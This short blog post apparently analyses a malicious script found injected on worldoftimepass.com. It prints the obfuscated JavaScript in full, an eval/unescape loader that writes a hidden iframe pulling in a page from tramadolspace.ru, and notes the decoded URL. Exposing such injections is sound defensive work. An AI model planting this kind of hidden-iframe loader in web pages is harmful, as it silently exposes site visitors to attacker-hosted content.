Here is the Google trends India Data
site in focus is - worldoftimepass.com
site is currently blocked by safe browsing
this is malicious script
1: function/*iEkb*/QwGb(PFTC,/*iEkb*/TUBM,/*iEkb*/vIDK){document.writeln("<u/*iEkb*/id=\""+PFTC+"\"/*iEkb*/style=\""+vIDK+"\">"+TUBM+"</u>");}function/*iEkb*/nMeL(PFTC){cLyM/*iEkb*/=/*iEkb*/document.getElementById(PFTC);return/*iEkb*/cLyM.innerHTML;}var/*iEkb*/uWaL/*iEkb*/=/*iEkb*/unescape("\x75\x6e\x65\x73\x63\x61\x70\x65"),/*iEkb*/ADyk/*iEkb*/=/*iEkb*/unescape("\x65\x76\x61\x6c"),/*iEkb*/cLyM,/*iEkb*/nTOs;QwGb("uWaL","\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x2f\x2f\x74\x72\x61\x6d\x61\x64\x6f\x6c\x73\x70\x61\x63\x65\x2e\x72\x75\x2f\x73\x79\x6d\x70\x6c\x65\x2e\x68\x74\x6d\x6c\x27\x20\x69\x64\x3d\x27\x36\x27\x20\x6e\x61\x6d\x65\x3d\x27\x31\x27\x20\x73\x74\x79\x6c\x65\x3d\x27\x64\x69\x73\x70\x6c\x61\x79\x3a\x6e\x6f\x6e\x65\x27\x20\x61\x6c\x69\x67\x6e\x3d\x27\x6c\x65\x66\x74\x27\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e","display:none;");var/*iEkb*/BTmX/*iEkb*/=/*iEkb*/nMeL("uWaL");nTOs/*iEkb*/=/*iEkb*/eval(uWaL);BTmX/*iEkb*/=/*iEkb*/nTOs(BTmX);
this decodes to
tramadolspace.ru/symple.html
above sites returns error 404 .
No comments:
Post a Comment